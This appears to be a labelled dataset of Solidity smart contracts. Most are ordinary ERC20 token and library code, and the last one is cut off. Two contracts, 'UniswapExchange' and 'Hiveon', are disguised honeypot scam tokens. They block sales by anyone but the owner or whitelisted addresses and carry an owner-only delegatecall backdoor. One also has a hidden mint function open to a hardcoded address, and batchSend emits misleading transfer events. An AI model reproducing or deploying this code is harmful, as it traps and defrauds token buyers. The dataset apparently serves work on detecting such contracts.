event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,744 |
pragma solidity ^0.4.11;
library ERC20Lib {
using BasicMathLib for uint256;
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint totalSupply;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event ErrorMsg(string msg);
function init(TokenStorage storage self, uint256 _initial_supply) {
self.totalSupply = _initial_supply;
self.balances[msg.sender] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool success) {
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
self.balances[msg.sender] = balance;
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
if(err) {
ErrorMsg("Balance too low for transfer");
return false;
}
(err,balanceSpender) = _allowance.minus(_value);
if(err) {
ErrorMsg("Transfer exceeds allowance");
return false;
}
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
}
library BasicMathLib {
event Err(string typeErr);
function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
jumpi(allGood, or(iszero(b), eq(div(res,b), a)))
err := 1
res := 0
allGood:
}
if (err)
Err("times func overflow");
}
function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
jumpi(e, iszero(b))
res := div(a,b)
mstore(add(mload(0x40),0x20),res)
return(mload(0x40),0x40)
e:
}
Err("tried to divide by zero");
return (true, 0);
}
function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) {
assembly{
res := add(a,b)
jumpi(allGood, and(eq(sub(res,b), a), gt(res,b)))
err := 1
res := 0
allGood:
}
if (err)
Err("plus func overflow");
}
function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
jumpi(allGood, eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1))
err := 1
res := 0
allGood:
}
if (err)
Err("minus func underflow");
}
}
contract ETHCONEarlyBirdToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
string public name = "ETHCON-Early-Bird";
string public symbol = "THX";
uint public decimals = 0;
uint public INITIAL_SUPPLY = 600;
event ErrorMsg(string msg);
function ETHCONEarlyBirdToken() {
token.init(INITIAL_SUPPLY);
}
function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transfer(to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transferFrom(from, to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
} | 1 | 3,410 |
pragma solidity ^0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract PAXImplementation {
using SafeMath for uint256;
bool private initialized = false;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
string public constant name = "Quick USD";
string public constant symbol = "QUSD";
uint8 public constant decimals = 18;
mapping (address => mapping (address => uint256)) internal allowed;
address public owner;
bool public paused = false;
address public lawEnforcementRole;
mapping(address => bool) internal frozen;
address public supplyController;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed oldOwner,
address indexed newOwner
);
event Pause();
event Unpause();
event AddressFrozen(address indexed addr);
event AddressUnfrozen(address indexed addr);
event FrozenAddressWiped(address indexed addr);
event LawEnforcementRoleSet (
address indexed oldLawEnforcementRole,
address indexed newLawEnforcementRole
);
event SupplyIncreased(address indexed to, uint256 value);
event SupplyDecreased(address indexed from, uint256 value);
event SupplyControllerSet(
address indexed oldSupplyController,
address indexed newSupplyController
);
function initialize() public {
require(!initialized, "already initialized");
owner = msg.sender;
lawEnforcementRole = address(0);
totalSupply_ = 0;
supplyController = msg.sender;
initialized = true;
}
constructor() public {
initialize();
pause();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0), "cannot transfer to address zero");
require(!frozen[_to] && !frozen[msg.sender], "address frozen");
require(_value <= balances[msg.sender], "insufficient funds");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _addr) public view returns (uint256) {
return balances[_addr];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(_to != address(0), "cannot transfer to address zero");
require(!frozen[_to] && !frozen[_from] && !frozen[msg.sender], "address frozen");
require(_value <= balances[_from], "insufficient funds");
require(_value <= allowed[_from][msg.sender], "insufficient allowance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(!frozen[_spender] && !frozen[msg.sender], "address frozen");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
modifier onlyOwner() {
require(msg.sender == owner, "onlyOwner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "cannot transfer ownership to address zero");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
modifier whenNotPaused() {
require(!paused, "whenNotPaused");
_;
}
function pause() public onlyOwner {
require(!paused, "already paused");
paused = true;
emit Pause();
}
function unpause() public onlyOwner {
require(paused, "already unpaused");
paused = false;
emit Unpause();
}
function setLawEnforcementRole(address _newLawEnforcementRole) public {
require(msg.sender == lawEnforcementRole || msg.sender == owner, "only lawEnforcementRole or Owner");
emit LawEnforcementRoleSet(lawEnforcementRole, _newLawEnforcementRole);
lawEnforcementRole = _newLawEnforcementRole;
}
modifier onlyLawEnforcementRole() {
require(msg.sender == lawEnforcementRole, "onlyLawEnforcementRole");
_;
}
function freeze(address _addr) public onlyLawEnforcementRole {
require(!frozen[_addr], "address already frozen");
frozen[_addr] = true;
emit AddressFrozen(_addr);
}
function unfreeze(address _addr) public onlyLawEnforcementRole {
require(frozen[_addr], "address already unfrozen");
frozen[_addr] = false;
emit AddressUnfrozen(_addr);
}
function wipeFrozenAddress(address _addr) public onlyLawEnforcementRole {
require(frozen[_addr], "address is not frozen");
uint256 _balance = balances[_addr];
balances[_addr] = 0;
totalSupply_ = totalSupply_.sub(_balance);
emit FrozenAddressWiped(_addr);
emit SupplyDecreased(_addr, _balance);
emit Transfer(_addr, address(0), _balance);
}
function isFrozen(address _addr) public view returns (bool) {
return frozen[_addr];
}
function setSupplyController(address _newSupplyController) public {
require(msg.sender == supplyController || msg.sender == owner, "only SupplyController or Owner");
require(_newSupplyController != address(0), "cannot set supply controller to address zero");
emit SupplyControllerSet(supplyController, _newSupplyController);
supplyController = _newSupplyController;
}
modifier onlySupplyController() {
require(msg.sender == supplyController, "onlySupplyController");
_;
}
function increaseSupply(uint256 _value) public onlySupplyController returns (bool success) {
totalSupply_ = totalSupply_.add(_value);
balances[supplyController] = balances[supplyController].add(_value);
emit SupplyIncreased(supplyController, _value);
emit Transfer(address(0), supplyController, _value);
return true;
}
function decreaseSupply(uint256 _value) public onlySupplyController returns (bool success) {
require(_value <= balances[supplyController], "not enough supply");
balances[supplyController] = balances[supplyController].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit SupplyDecreased(supplyController, _value);
emit Transfer(supplyController, address(0), _value);
return true;
}
} | 1 | 3,781 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Hiveon {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,258 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
